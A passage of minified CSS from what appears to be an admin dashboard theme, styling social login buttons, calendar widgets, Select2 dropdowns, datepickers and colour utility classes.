rgba(0,0,0,.2)}.btn-social-icon.btn-lg{padding-left:61px}.btn-social-icon.btn-lg>:first-child{line-height:45px;width:45px;font-size:1.8em}.btn-social-icon.btn-sm{padding-left:38px}.btn-social-icon.btn-sm>:first-child{line-height:28px;width:28px;font-size:1.4em}.btn-social-icon.btn-xs{padding-left:30px}.btn-social-icon.btn-xs>:first-child{line-height:20px;width:20px;font-size:1.2em}.btn-social-icon>:first-child{border:none;text-align:center;width:100%}.btn-social-icon.btn-lg{height:45px;width:45px;padding-left:0;padding-right:0}.btn-social-icon.btn-sm{height:30px;width:30px;padding-left:0;padding-right:0}.btn-social-icon.btn-xs{height:22px;width:22px;padding-left:0;padding-right:0}.btn-adn{color:#fff;background-color:#d87a68;border-color:rgba(0,0,0,.2)}.btn-adn.active,.btn-adn.focus,.btn-adn:active,.btn-adn:focus,.btn-adn:hover,.open>.dropdown-toggle.btn-adn{color:#fff;background-color:#ce563f;border-color:rgba(0,0,0,.2)}.btn-adn.active.focus,.btn-adn.active:focus,.btn-adn.active:hover,.btn-adn:active.focus,.btn-adn:active:focus,.btn-adn:active:hover,.open>.dropdown-toggle.btn-adn.focus,.open>.dropdown-toggle.btn-adn:focus,.open>.dropdown-toggle.btn-adn:hover{color:#fff;background-color:#b94630;border-color:rgba(0,0,0,.2)}.btn-adn.active,.btn-adn:active,.open>.dropdown-toggle.btn-adn{background-image:none}.btn-adn.disabled.focus,.btn-adn.disabled:focus,.btn-adn.disabled:hover,.btn-adn[disabled].focus,.btn-adn[disabled]:focus,.btn-adn[disabled]:hover,fieldset[disabled] .btn-adn.focus,fieldset[disabled] .btn-adn:focus,fieldset[disabled] .btn-adn:hover{background-color:#d87a68;border-color:rgba(0,0,0,.2)}.btn-adn .badge{color:#d87a68;background-color:#fff}.btn-bitbucket{color:#fff;background-color:#205081;border-color:rgba(0,0,0,.2)}.btn-bitbucket.active,.btn-bitbucket.focus,.btn-bitbucket:active,.btn-bitbucket:focus,.btn-bitbucket:hover,.open>.dropdown-toggle.btn-bitbucket{color:#fff;background-color:#163758;border-color:rgba(0,0,0,.2)}.btn-bitbucket.active.focus,.btn-bitbucket.active:focus,.btn-bitbucket.active:hover,.btn-bitbucket:active.focus,.btn-bitbucket:active:focus,.btn-bitbucket:active:hover,.open>.dropdown-toggle.btn-bitbucket.focus,.open>.dropdown-toggle.btn-bitbucket:focus,.open>.dropdown-toggle.btn-bitbucket:hover{color:#fff;background-color:#0f253c;border-color:rgba(0,0,0,.2)}.btn-bitbucket.active,.btn-bitbucket:active,.open>.dropdown-toggle.btn-bitbucket{background-image:none}.btn-bitbucket.disabled.focus,.btn-bitbucket.disabled:focus,.btn-bitbucket.disabled:hover,.btn-bitbucket[disabled].focus,.btn-bitbucket[disabled]:focus,.btn-bitbucket[disabled]:hover,fieldset[disabled] .btn-bitbucket.focus,fieldset[disabled] .btn-bitbucket:focus,fieldset[disabled] .btn-bitbucket:hover{background-color:#205081;border-color:rgba(0,0,0,.2)}.btn-bitbucket .badge{color:#205081;background-color:#fff}.btn-dropbox{color:#fff;background-color:#1087dd;border-color:rgba(0,0,0,.2)}.btn-dropbox.active,.btn-dropbox.focus,.btn-dropbox:active,.btn-dropbox:focus,.btn-dropbox:hover,.open>.dropdown-toggle.btn-dropbox{color:#fff;background-color:#0d6aad;border-color:rgba(0,0,0,.2)}.btn-dropbox.active.focus,.btn-dropbox.active:focus,.btn-dropbox.active:hover,.btn-dropbox:active.focus,.btn-dropbox:active:focus,.btn-dropbox:active:hover,.open>.dropdown-toggle.btn-dropbox.focus,.open>.dropdown-toggle.btn-dropbox:focus,.open>.dropdown-toggle.btn-dropbox:hover{color:#fff;background-color:#0a568c;border-color:rgba(0,0,0,.2)}.btn-dropbox.active,.btn-dropbox:active,.open>.dropdown-toggle.btn-dropbox{background-image:none}.btn-dropbox.disabled.focus,.btn-dropbox.disabled:focus,.btn-dropbox.disabled:hover,.btn-dropbox[disabled].focus,.btn-dropbox[disabled]:focus,.btn-dropbox[disabled]:hover,fieldset[disabled] .btn-dropbox.focus,fieldset[disabled] .btn-dropbox:focus,fieldset[disabled] .btn-dropbox:hover{background-color:#1087dd;border-color:rgba(0,0,0,.2)}.btn-dropbox .badge{color:#1087dd;background-color:#fff}.btn-facebook{color:#fff;background-color:#3b5998;border-color:rgba(0,0,0,.2)}.btn-facebook.active,.btn-facebook.focus,.btn-facebook:active,.btn-facebook:focus,.btn-facebook:hover,.open>.dropdown-toggle.btn-facebook{color:#fff;background-color:#2d4373;border-color:rgba(0,0,0,.2)}.btn-facebook.active.focus,.btn-facebook.active:focus,.btn-facebook.active:hover,.btn-facebook:active.focus,.btn-facebook:active:focus,.btn-facebook:active:hover,.open>.dropdown-toggle.btn-facebook.focus,.open>.dropdown-toggle.btn-facebook:focus,.open>.dropdown-toggle.btn-facebook:hover{color:#fff;background-color:#23345a;border-color:rgba(0,0,0,.2)}.btn-facebook.active,.btn-facebook:active,.open>.dropdown-toggle.btn-facebook{background-image:none}.btn-facebook.disabled.focus,.btn-facebook.disabled:focus,.btn-facebook.disabled:hover,.btn-facebook[disabled].focus,.btn-facebook[disabled]:focus,.btn-facebook[disabled]:hover,fieldset[disabled] .btn-facebook.focus,fieldset[disabled] .btn-facebook:focus,fieldset[disabled] .btn-facebook:hover{background-color:#3b5998;border-color:rgba(0,0,0,.2)}.btn-facebook .badge{color:#3b5998;background-color:#fff}.btn-flickr{color:#fff;background-color:#ff0084;border-color:rgba(0,0,0,.2)}.btn-flickr.active,.btn-flickr.focus,.btn-flickr:active,.btn-flickr:focus,.btn-flickr:hover,.open>.dropdown-toggle.btn-flickr{color:#fff;background-color:#cc006a;border-color:rgba(0,0,0,.2)}.btn-flickr.active.focus,.btn-flickr.active:focus,.btn-flickr.active:hover,.btn-flickr:active.focus,.btn-flickr:active:focus,.btn-flickr:active:hover,.open>.dropdown-toggle.btn-flickr.focus,.open>.dropdown-toggle.btn-flickr:focus,.open>.dropdown-toggle.btn-flickr:hover{color:#fff;background-color:#a80057;border-color:rgba(0,0,0,.2)}.btn-flickr.active,.btn-flickr:active,.open>.dropdown-toggle.btn-flickr{background-image:none}.btn-flickr.disabled.focus,.btn-flickr.disabled:focus,.btn-flickr.disabled:hover,.btn-flickr[disabled].focus,.btn-flickr[disabled]:focus,.btn-flickr[disabled]:hover,fieldset[disabled] .btn-flickr.focus,fieldset[disabled] .btn-flickr:focus,fieldset[disabled] .btn-flickr:hover{background-color:#ff0084;border-color:rgba(0,0,0,.2)}.btn-flickr .badge{color:#ff0084;background-color:#fff}.btn-foursquare{color:#fff;background-color:#f94877;border-color:rgba(0,0,0,.2)}.btn-foursquare.active,.btn-foursquare.focus,.btn-foursquare:active,.btn-foursquare:focus,.btn-foursquare:hover,.open>.dropdown-toggle.btn-foursquare{color:#fff;background-color:#f71752;border-color:rgba(0,0,0,.2)}.btn-foursquare.active.focus,.btn-foursquare.active:focus,.btn-foursquare.active:hover,.btn-foursquare:active.focus,.btn-foursquare:active:focus,.btn-foursquare:active:hover,.open>.dropdown-toggle.btn-foursquare.focus,.open>.dropdown-toggle.btn-foursquare:focus,.open>.dropdown-toggle.btn-foursquare:hover{color:#fff;background-color:#e30742;border-color:rgba(0,0,0,.2)}.btn-foursquare.active,.btn-foursquare:active,.open>.dropdown-toggle.btn-foursquare{background-image:none}.btn-foursquare.disabled.focus,.btn-foursquare.disabled:focus,.btn-foursquare.disabled:hover,.btn-foursquare[disabled].focus,.btn-foursquare[disabled]:focus,.btn-foursquare[disabled]:hover,fieldset[disabled] .btn-foursquare.focus,fieldset[disabled] .btn-foursquare:focus,fieldset[disabled] .btn-foursquare:hover{background-color:#f94877;border-color:rgba(0,0,0,.2)}.btn-foursquare .badge{color:#f94877;background-color:#fff}.btn-github{color:#fff;background-color:#444;border-color:rgba(0,0,0,.2)}.btn-github.active,.btn-github.focus,.btn-github:active,.btn-github:focus,.btn-github:hover,.open>.dropdown-toggle.btn-github{color:#fff;background-color:#2b2b2b;border-color:rgba(0,0,0,.2)}.btn-github.active.focus,.btn-github.active:focus,.btn-github.active:hover,.btn-github:active.focus,.btn-github:active:focus,.btn-github:active:hover,.open>.dropdown-toggle.btn-github.focus,.open>.dropdown-toggle.btn-github:focus,.open>.dropdown-toggle.btn-github:hover{color:#fff;background-color:#191919;border-color:rgba(0,0,0,.2)}.btn-github.active,.btn-github:active,.open>.dropdown-toggle.btn-github{background-image:none}.btn-github.disabled.focus,.btn-github.disabled:focus,.btn-github.disabled:hover,.btn-github[disabled].focus,.btn-github[disabled]:focus,.btn-github[disabled]:hover,fieldset[disabled] .btn-github.focus,fieldset[disabled] .btn-github:focus,fieldset[disabled] .btn-github:hover{background-color:#444;border-color:rgba(0,0,0,.2)}.btn-github .badge{color:#444;background-color:#fff}.btn-google{color:#fff;background-color:#dd4b39;border-color:rgba(0,0,0,.2)}.btn-google.active,.btn-google.focus,.btn-google:active,.btn-google:focus,.btn-google:hover,.open>.dropdown-toggle.btn-google{color:#fff;background-color:#c23321;border-color:rgba(0,0,0,.2)}.btn-google.active.focus,.btn-google.active:focus,.btn-google.active:hover,.btn-google:active.focus,.btn-google:active:focus,.btn-google:active:hover,.open>.dropdown-toggle.btn-google.focus,.open>.dropdown-toggle.btn-google:focus,.open>.dropdown-toggle.btn-google:hover{color:#fff;background-color:#a32b1c;border-color:rgba(0,0,0,.2)}.btn-google.active,.btn-google:active,.open>.dropdown-toggle.btn-google{background-image:none}.btn-google.disabled.focus,.btn-google.disabled:focus,.btn-google.disabled:hover,.btn-google[disabled].focus,.btn-google[disabled]:focus,.btn-google[disabled]:hover,fieldset[disabled] .btn-google.focus,fieldset[disabled] .btn-google:focus,fieldset[disabled] .btn-google:hover{background-color:#dd4b39;border-color:rgba(0,0,0,.2)}.btn-google .badge{color:#dd4b39;background-color:#fff}.btn-instagram{color:#fff;background-color:#3f729b;border-color:rgba(0,0,0,.2)}.btn-instagram.active,.btn-instagram.focus,.btn-instagram:active,.btn-instagram:focus,.btn-instagram:hover,.open>.dropdown-toggle.btn-instagram{color:#fff;background-color:#305777;border-color:rgba(0,0,0,.2)}.btn-instagram.active.focus,.btn-instagram.active:focus,.btn-instagram.active:hover,.btn-instagram:active.focus,.btn-instagram:active:focus,.btn-instagram:active:hover,.open>.dropdown-toggle.btn-instagram.focus,.open>.dropdown-toggle.btn-instagram:focus,.open>.dropdown-toggle.btn-instagram:hover{color:#fff;background-color:#26455d;border-color:rgba(0,0,0,.2)}.btn-instagram.active,.btn-instagram:active,.open>.dropdown-toggle.btn-instagram{background-image:none}.btn-instagram.disabled.focus,.btn-instagram.disabled:focus,.btn-instagram.disabled:hover,.btn-instagram[disabled].focus,.btn-instagram[disabled]:focus,.btn-instagram[disabled]:hover,fieldset[disabled] .btn-instagram.focus,fieldset[disabled] .btn-instagram:focus,fieldset[disabled] .btn-instagram:hover{background-color:#3f729b;border-color:rgba(0,0,0,.2)}.btn-instagram .badge{color:#3f729b;background-color:#fff}.btn-linkedin{color:#fff;background-color:#007bb6;border-color:rgba(0,0,0,.2)}.btn-linkedin.active,.btn-linkedin.focus,.btn-linkedin:active,.btn-linkedin:focus,.btn-linkedin:hover,.open>.dropdown-toggle.btn-linkedin{color:#fff;background-color:#005983;border-color:rgba(0,0,0,.2)}.btn-linkedin.active.focus,.btn-linkedin.active:focus,.btn-linkedin.active:hover,.btn-linkedin:active.focus,.btn-linkedin:active:focus,.btn-linkedin:active:hover,.open>.dropdown-toggle.btn-linkedin.focus,.open>.dropdown-toggle.btn-linkedin:focus,.open>.dropdown-toggle.btn-linkedin:hover{color:#fff;background-color:#00405f;border-color:rgba(0,0,0,.2)}.btn-linkedin.active,.btn-linkedin:active,.open>.dropdown-toggle.btn-linkedin{background-image:none}.btn-linkedin.disabled.focus,.btn-linkedin.disabled:focus,.btn-linkedin.disabled:hover,.btn-linkedin[disabled].focus,.btn-linkedin[disabled]:focus,.btn-linkedin[disabled]:hover,fieldset[disabled] .btn-linkedin.focus,fieldset[disabled] .btn-linkedin:focus,fieldset[disabled] .btn-linkedin:hover{background-color:#007bb6;border-color:rgba(0,0,0,.2)}.btn-linkedin .badge{color:#007bb6;background-color:#fff}.btn-microsoft{color:#fff;background-color:#2672ec;border-color:rgba(0,0,0,.2)}.btn-microsoft.active,.btn-microsoft.focus,.btn-microsoft:active,.btn-microsoft:focus,.btn-microsoft:hover,.open>.dropdown-toggle.btn-microsoft{color:#fff;background-color:#125acd;border-color:rgba(0,0,0,.2)}.btn-microsoft.active.focus,.btn-microsoft.active:focus,.btn-microsoft.active:hover,.btn-microsoft:active.focus,.btn-microsoft:active:focus,.btn-microsoft:active:hover,.open>.dropdown-toggle.btn-microsoft.focus,.open>.dropdown-toggle.btn-microsoft:focus,.open>.dropdown-toggle.btn-microsoft:hover{color:#fff;background-color:#0f4bac;border-color:rgba(0,0,0,.2)}.btn-microsoft.active,.btn-microsoft:active,.open>.dropdown-toggle.btn-microsoft{background-image:none}.btn-microsoft.disabled.focus,.btn-microsoft.disabled:focus,.btn-microsoft.disabled:hover,.btn-microsoft[disabled].focus,.btn-microsoft[disabled]:focus,.btn-microsoft[disabled]:hover,fieldset[disabled] .btn-microsoft.focus,fieldset[disabled] .btn-microsoft:focus,fieldset[disabled] .btn-microsoft:hover{background-color:#2672ec;border-color:rgba(0,0,0,.2)}.btn-microsoft .badge{color:#2672ec;background-color:#fff}.btn-openid{color:#fff;background-color:#f7931e;border-color:rgba(0,0,0,.2)}.btn-openid.active,.btn-openid.focus,.btn-openid:active,.btn-openid:focus,.btn-openid:hover,.open>.dropdown-toggle.btn-openid{color:#fff;background-color:#da7908;border-color:rgba(0,0,0,.2)}.btn-openid.active.focus,.btn-openid.active:focus,.btn-openid.active:hover,.btn-openid:active.focus,.btn-openid:active:focus,.btn-openid:active:hover,.open>.dropdown-toggle.btn-openid.focus,.open>.dropdown-toggle.btn-openid:focus,.open>.dropdown-toggle.btn-openid:hover{color:#fff;background-color:#b86607;border-color:rgba(0,0,0,.2)}.btn-openid.active,.btn-openid:active,.open>.dropdown-toggle.btn-openid{background-image:none}.btn-openid.disabled.focus,.btn-openid.disabled:focus,.btn-openid.disabled:hover,.btn-openid[disabled].focus,.btn-openid[disabled]:focus,.btn-openid[disabled]:hover,fieldset[disabled] .btn-openid.focus,fieldset[disabled] .btn-openid:focus,fieldset[disabled] .btn-openid:hover{background-color:#f7931e;border-color:rgba(0,0,0,.2)}.btn-openid .badge{color:#f7931e;background-color:#fff}.btn-pinterest{color:#fff;background-color:#cb2027;border-color:rgba(0,0,0,.2)}.btn-pinterest.active,.btn-pinterest.focus,.btn-pinterest:active,.btn-pinterest:focus,.btn-pinterest:hover,.open>.dropdown-toggle.btn-pinterest{color:#fff;background-color:#9f191f;border-color:rgba(0,0,0,.2)}.btn-pinterest.active.focus,.btn-pinterest.active:focus,.btn-pinterest.active:hover,.btn-pinterest:active.focus,.btn-pinterest:active:focus,.btn-pinterest:active:hover,.open>.dropdown-toggle.btn-pinterest.focus,.open>.dropdown-toggle.btn-pinterest:focus,.open>.dropdown-toggle.btn-pinterest:hover{color:#fff;background-color:#801419;border-color:rgba(0,0,0,.2)}.btn-pinterest.active,.btn-pinterest:active,.open>.dropdown-toggle.btn-pinterest{background-image:none}.btn-pinterest.disabled.focus,.btn-pinterest.disabled:focus,.btn-pinterest.disabled:hover,.btn-pinterest[disabled].focus,.btn-pinterest[disabled]:focus,.btn-pinterest[disabled]:hover,fieldset[disabled] .btn-pinterest.focus,fieldset[disabled] .btn-pinterest:focus,fieldset[disabled] .btn-pinterest:hover{background-color:#cb2027;border-color:rgba(0,0,0,.2)}.btn-pinterest .badge{color:#cb2027;background-color:#fff}.btn-reddit{color:#000;background-color:#eff7ff;border-color:rgba(0,0,0,.2)}.btn-reddit.active,.btn-reddit.focus,.btn-reddit:active,.btn-reddit:focus,.btn-reddit:hover,.open>.dropdown-toggle.btn-reddit{color:#000;background-color:#bcddff;border-color:rgba(0,0,0,.2)}.btn-reddit.active.focus,.btn-reddit.active:focus,.btn-reddit.active:hover,.btn-reddit:active.focus,.btn-reddit:active:focus,.btn-reddit:active:hover,.open>.dropdown-toggle.btn-reddit.focus,.open>.dropdown-toggle.btn-reddit:focus,.open>.dropdown-toggle.btn-reddit:hover{color:#000;background-color:#98ccff;border-color:rgba(0,0,0,.2)}.btn-reddit.active,.btn-reddit:active,.open>.dropdown-toggle.btn-reddit{background-image:none}.btn-reddit.disabled.focus,.btn-reddit.disabled:focus,.btn-reddit.disabled:hover,.btn-reddit[disabled].focus,.btn-reddit[disabled]:focus,.btn-reddit[disabled]:hover,fieldset[disabled] .btn-reddit.focus,fieldset[disabled] .btn-reddit:focus,fieldset[disabled] .btn-reddit:hover{background-color:#eff7ff;border-color:rgba(0,0,0,.2)}.btn-reddit .badge{color:#eff7ff;background-color:#000}.btn-soundcloud{color:#fff;background-color:#f50;border-color:rgba(0,0,0,.2)}.btn-soundcloud.active,.btn-soundcloud.focus,.btn-soundcloud:active,.btn-soundcloud:focus,.btn-soundcloud:hover,.open>.dropdown-toggle.btn-soundcloud{color:#fff;background-color:#c40;border-color:rgba(0,0,0,.2)}.btn-soundcloud.active.focus,.btn-soundcloud.active:focus,.btn-soundcloud.active:hover,.btn-soundcloud:active.focus,.btn-soundcloud:active:focus,.btn-soundcloud:active:hover,.open>.dropdown-toggle.btn-soundcloud.focus,.open>.dropdown-toggle.btn-soundcloud:focus,.open>.dropdown-toggle.btn-soundcloud:hover{color:#fff;background-color:#a83800;border-color:rgba(0,0,0,.2)}.btn-soundcloud.active,.btn-soundcloud:active,.open>.dropdown-toggle.btn-soundcloud{background-image:none}.btn-soundcloud.disabled.focus,.btn-soundcloud.disabled:focus,.btn-soundcloud.disabled:hover,.btn-soundcloud[disabled].focus,.btn-soundcloud[disabled]:focus,.btn-soundcloud[disabled]:hover,fieldset[disabled] .btn-soundcloud.focus,fieldset[disabled] .btn-soundcloud:focus,fieldset[disabled] .btn-soundcloud:hover{background-color:#f50;border-color:rgba(0,0,0,.2)}.btn-soundcloud .badge{color:#f50;background-color:#fff}.btn-tumblr{color:#fff;background-color:#2c4762;border-color:rgba(0,0,0,.2)}.btn-tumblr.active,.btn-tumblr.focus,.btn-tumblr:active,.btn-tumblr:focus,.btn-tumblr:hover,.open>.dropdown-toggle.btn-tumblr{color:#fff;background-color:#1c2d3f;border-color:rgba(0,0,0,.2)}.btn-tumblr.active.focus,.btn-tumblr.active:focus,.btn-tumblr.active:hover,.btn-tumblr:active.focus,.btn-tumblr:active:focus,.btn-tumblr:active:hover,.open>.dropdown-toggle.btn-tumblr.focus,.open>.dropdown-toggle.btn-tumblr:focus,.open>.dropdown-toggle.btn-tumblr:hover{color:#fff;background-color:#111c26;border-color:rgba(0,0,0,.2)}.btn-tumblr.active,.btn-tumblr:active,.open>.dropdown-toggle.btn-tumblr{background-image:none}.btn-tumblr.disabled.focus,.btn-tumblr.disabled:focus,.btn-tumblr.disabled:hover,.btn-tumblr[disabled].focus,.btn-tumblr[disabled]:focus,.btn-tumblr[disabled]:hover,fieldset[disabled] .btn-tumblr.focus,fieldset[disabled] .btn-tumblr:focus,fieldset[disabled] .btn-tumblr:hover{background-color:#2c4762;border-color:rgba(0,0,0,.2)}.btn-tumblr .badge{color:#2c4762;background-color:#fff}.btn-twitter{color:#fff;background-color:#55acee;border-color:rgba(0,0,0,.2)}.btn-twitter.active,.btn-twitter.focus,.btn-twitter:active,.btn-twitter:focus,.btn-twitter:hover,.open>.dropdown-toggle.btn-twitter{color:#fff;background-color:#2795e9;border-color:rgba(0,0,0,.2)}.btn-twitter.active.focus,.btn-twitter.active:focus,.btn-twitter.active:hover,.btn-twitter:active.focus,.btn-twitter:active:focus,.btn-twitter:active:hover,.open>.dropdown-toggle.btn-twitter.focus,.open>.dropdown-toggle.btn-twitter:focus,.open>.dropdown-toggle.btn-twitter:hover{color:#fff;background-color:#1583d7;border-color:rgba(0,0,0,.2)}.btn-twitter.active,.btn-twitter:active,.open>.dropdown-toggle.btn-twitter{background-image:none}.btn-twitter.disabled.focus,.btn-twitter.disabled:focus,.btn-twitter.disabled:hover,.btn-twitter[disabled].focus,.btn-twitter[disabled]:focus,.btn-twitter[disabled]:hover,fieldset[disabled] .btn-twitter.focus,fieldset[disabled] .btn-twitter:focus,fieldset[disabled] .btn-twitter:hover{background-color:#55acee;border-color:rgba(0,0,0,.2)}.btn-twitter .badge{color:#55acee;background-color:#fff}.btn-vimeo{color:#fff;background-color:#1ab7ea;border-color:rgba(0,0,0,.2)}.btn-vimeo.active,.btn-vimeo.focus,.btn-vimeo:active,.btn-vimeo:focus,.btn-vimeo:hover,.open>.dropdown-toggle.btn-vimeo{color:#fff;background-color:#1295bf;border-color:rgba(0,0,0,.2)}.btn-vimeo.active.focus,.btn-vimeo.active:focus,.btn-vimeo.active:hover,.btn-vimeo:active.focus,.btn-vimeo:active:focus,.btn-vimeo:active:hover,.open>.dropdown-toggle.btn-vimeo.focus,.open>.dropdown-toggle.btn-vimeo:focus,.open>.dropdown-toggle.btn-vimeo:hover{color:#fff;background-color:#0f7b9f;border-color:rgba(0,0,0,.2)}.btn-vimeo.active,.btn-vimeo:active,.open>.dropdown-toggle.btn-vimeo{background-image:none}.btn-vimeo.disabled.focus,.btn-vimeo.disabled:focus,.btn-vimeo.disabled:hover,.btn-vimeo[disabled].focus,.btn-vimeo[disabled]:focus,.btn-vimeo[disabled]:hover,fieldset[disabled] .btn-vimeo.focus,fieldset[disabled] .btn-vimeo:focus,fieldset[disabled] .btn-vimeo:hover{background-color:#1ab7ea;border-color:rgba(0,0,0,.2)}.btn-vimeo .badge{color:#1ab7ea;background-color:#fff}.btn-vk{color:#fff;background-color:#587ea3;border-color:rgba(0,0,0,.2)}.btn-vk.active,.btn-vk.focus,.btn-vk:active,.btn-vk:focus,.btn-vk:hover,.open>.dropdown-toggle.btn-vk{color:#fff;background-color:#466482;border-color:rgba(0,0,0,.2)}.btn-vk.active.focus,.btn-vk.active:focus,.btn-vk.active:hover,.btn-vk:active.focus,.btn-vk:active:focus,.btn-vk:active:hover,.open>.dropdown-toggle.btn-vk.focus,.open>.dropdown-toggle.btn-vk:focus,.open>.dropdown-toggle.btn-vk:hover{color:#fff;background-color:#3a526b;border-color:rgba(0,0,0,.2)}.btn-vk.active,.btn-vk:active,.open>.dropdown-toggle.btn-vk{background-image:none}.btn-vk.disabled.focus,.btn-vk.disabled:focus,.btn-vk.disabled:hover,.btn-vk[disabled].focus,.btn-vk[disabled]:focus,.btn-vk[disabled]:hover,fieldset[disabled] .btn-vk.focus,fieldset[disabled] .btn-vk:focus,fieldset[disabled] .btn-vk:hover{background-color:#587ea3;border-color:rgba(0,0,0,.2)}.btn-vk .badge{color:#587ea3;background-color:#fff}.btn-yahoo{color:#fff;background-color:#720e9e;border-color:rgba(0,0,0,.2)}.btn-yahoo.active,.btn-yahoo.focus,.btn-yahoo:active,.btn-yahoo:focus,.btn-yahoo:hover,.open>.dropdown-toggle.btn-yahoo{color:#fff;background-color:#500a6f;border-color:rgba(0,0,0,.2)}.btn-yahoo.active.focus,.btn-yahoo.active:focus,.btn-yahoo.active:hover,.btn-yahoo:active.focus,.btn-yahoo:active:focus,.btn-yahoo:active:hover,.open>.dropdown-toggle.btn-yahoo.focus,.open>.dropdown-toggle.btn-yahoo:focus,.open>.dropdown-toggle.btn-yahoo:hover{color:#fff;background-color:#39074e;border-color:rgba(0,0,0,.2)}.btn-yahoo.active,.btn-yahoo:active,.open>.dropdown-toggle.btn-yahoo{background-image:none}.btn-yahoo.disabled.focus,.btn-yahoo.disabled:focus,.btn-yahoo.disabled:hover,.btn-yahoo[disabled].focus,.btn-yahoo[disabled]:focus,.btn-yahoo[disabled]:hover,fieldset[disabled] .btn-yahoo.focus,fieldset[disabled] .btn-yahoo:focus,fieldset[disabled] .btn-yahoo:hover{background-color:#720e9e;border-color:rgba(0,0,0,.2)}.btn-yahoo .badge{color:#720e9e;background-color:#fff}.fc-button{background:#f4f4f4;background-image:none;color:#444;border-color:#ddd}.fc-button.hover,.fc-button:active,.fc-button:hover{background-color:#e9e9e9}.fc-header-title h2{font-size:15px;line-height:1.6em;color:#666;margin-left:10px}.fc-header-right{padding-right:10px}.fc-header-left{padding-left:10px}.fc-widget-header{background:#fafafa}.fc-grid{width:100%;border:0}.fc-widget-content:first-of-type,.fc-widget-header:first-of-type{border-left:0;border-right:0}.fc-widget-content:last-of-type,.fc-widget-header:last-of-type{border-right:0}.fc-toolbar{padding:10px;margin:0}.fc-day-number{font-size:20px;font-weight:300;padding-right:10px}.fc-color-picker{list-style:none;margin:0;padding:0}.fc-color-picker>li{float:left;font-size:30px;margin-right:5px;line-height:30px}.fc-color-picker>li .fa{-webkit-transition:-webkit-transform .3s linear;-moz-transition:-moz-transform linear .3s;-o-transition:-o-transform linear .3s;transition:transform .3s linear}.fc-color-picker>li .fa:hover{-webkit-transform:rotate(30deg);-ms-transform:rotate(30deg);-o-transform:rotate(30deg);transform:rotate(30deg)}#add-new-event{-webkit-transition:all .3s linear;-o-transition:all linear .3s;transition:all .3s linear}.external-event{padding:5px 10px;font-weight:700;margin-bottom:4px;box-shadow:0 1px 1px rgba(0,0,0,.1);text-shadow:0 1px 1px rgba(0,0,0,.1);border-radius:3px;cursor:move}.external-event:hover{box-shadow:inset 0 0 90px rgba(0,0,0,.2)}.select2-container--default.select2-container--focus,.select2-container--default:active,.select2-container--default:focus,.select2-selection.select2-container--focus,.select2-selection:active,.select2-selection:focus{outline:none}.select2-container--default .select2-selection--single,.select2-selection .select2-selection--single{border:1px solid #d2d6de;border-radius:0;padding:6px 12px;height:34px}.select2-container--default.select2-container--open{border-color:#3c8dbc}.select2-dropdown{border:1px solid #d2d6de;border-radius:0}.select2-container--default .select2-results__option--highlighted[aria-selected]{background-color:#3c8dbc}.select2-results__option{padding:6px 12px}.select2-container .select2-selection--single .select2-selection__rendered{padding-left:0;padding-right:0;height:auto;margin-top:-4px}.select2-container[dir=rtl] .select2-selection--single .select2-selection__rendered{padding-right:6px}.select2-container--default .select2-selection--single .select2-selection__arrow{height:28px;right:3px}.select2-container--default .select2-selection--single .select2-selection__arrow b{margin-top:0}.select2-dropdown .select2-search__field,.select2-search--inline .select2-search__field{border:1px solid #d2d6de}.select2-dropdown .select2-search__field:focus,.select2-search--inline .select2-search__field:focus{outline:none}.select2-container--default.select2-container--focus .select2-selection--multiple,.select2-container--default .select2-search--dropdown .select2-search__field{border-color:#3c8dbc!important}.select2-container--default .select2-results__option[aria-selected=true],.select2-container--default .select2-results__option[aria-selected=true]:hover{color:#444}.select2-container--default .select2-selection--multiple{border:1px solid #d2d6de;border-radius:0}.select2-container--default .select2-selection--multiple:focus{border-color:#3c8dbc}.select2-container--default.select2-container--focus .select2-selection--multiple{border-color:#d2d6de}.select2-container--default .select2-selection--multiple .select2-selection__choice{background-color:#3c8dbc;border-color:#367fa9;padding:1px 10px;color:#fff}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove{margin-right:5px;color:hsla(0,0%,100%,.7)}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover{color:#fff}.select2-container .select2-selection--single .select2-selection__rendered{padding-right:10px}.box .datepicker-inline,.box .datepicker-inline .datepicker-days,.box .datepicker-inline .datepicker-days>table,.box .datepicker-inline>table{width:100%}.box .datepicker-inline .datepicker-days>table td:hover,.box .datepicker-inline .datepicker-days td:hover,.box .datepicker-inline>table td:hover,.box .datepicker-inline td:hover{background-color:hsla(0,0%,100%,.3)}.box .datepicker-inline .datepicker-days>table td.day.new,.box .datepicker-inline .datepicker-days>table td.day.old,.box .datepicker-inline .datepicker-days td.day.new,.box .datepicker-inline .datepicker-days td.day.old,.box .datepicker-inline>table td.day.new,.box .datepicker-inline>table td.day.old,.box .datepicker-inline td.day.new,.box .datepicker-inline td.day.old{color:#777}.pad{padding:10px}.margin{margin:10px}.margin-bottom{margin-bottom:20px}.margin-bottom-none{margin-bottom:0}.margin-r-5{margin-right:5px}.inline{display:inline}.description-block{display:block;margin:10px 0;text-align:center}.description-block.margin-bottom{margin-bottom:25px}.description-block>.description-header{margin:0;padding:0;font-weight:600;font-size:16px}.description-block>.description-text{text-transform:uppercase}.alert-danger,.alert-error,.alert-info,.alert-success,.alert-warning,.bg-aqua,.bg-aqua-active,.bg-black,.bg-black-active,.bg-blue,.bg-blue-active,.bg-fuchsia,.bg-fuchsia-active,.bg-green,.bg-green-active,.bg-light-blue,.bg-light-blue-active,.bg-lime,.bg-lime-active,.bg-maroon,.bg-maroon-active,.bg-navy,.bg-navy-active,.bg-olive,.bg-olive-active,.bg-orange,.bg-orange-active,.bg-purple,.bg-purple-active,.bg-red,.bg-red-active,.bg-teal,.bg-teal-active,.bg-yellow,.bg-yellow-active,.callout.callout-danger,.callout.callout-info,.callout.callout-success,.callout.callout-warning,.label-danger,.label-info,.label-primary,.label-success,.label-warning,.modal-danger .modal-body,.modal-danger .modal-footer,.modal-danger .modal-header,.modal-info .modal-body,.modal-info .modal-footer,.modal-info .modal-header,.modal-primary .modal-body,.modal-primary .modal-footer,.modal-primary .modal-header,.modal-success .modal-body,.modal-success .modal-footer,.modal-success .modal-header,.modal-warning .modal-body,.modal-warning .modal-footer,.modal-warning .modal-header{color:#fff!important}.bg-gray{color:#000;background-color:#d2d6de!important}.bg-gray-light{background-color:#f7f7f7}.bg-black{background-color:#111!important}.alert-danger,.alert-error,.bg-red,.callout.callout-danger,.label-danger,.modal-danger .modal-body{background-color:#dd4b39!important}.alert-warning,.bg-yellow,.callout.callout-warning,.label-warning,.modal-warning 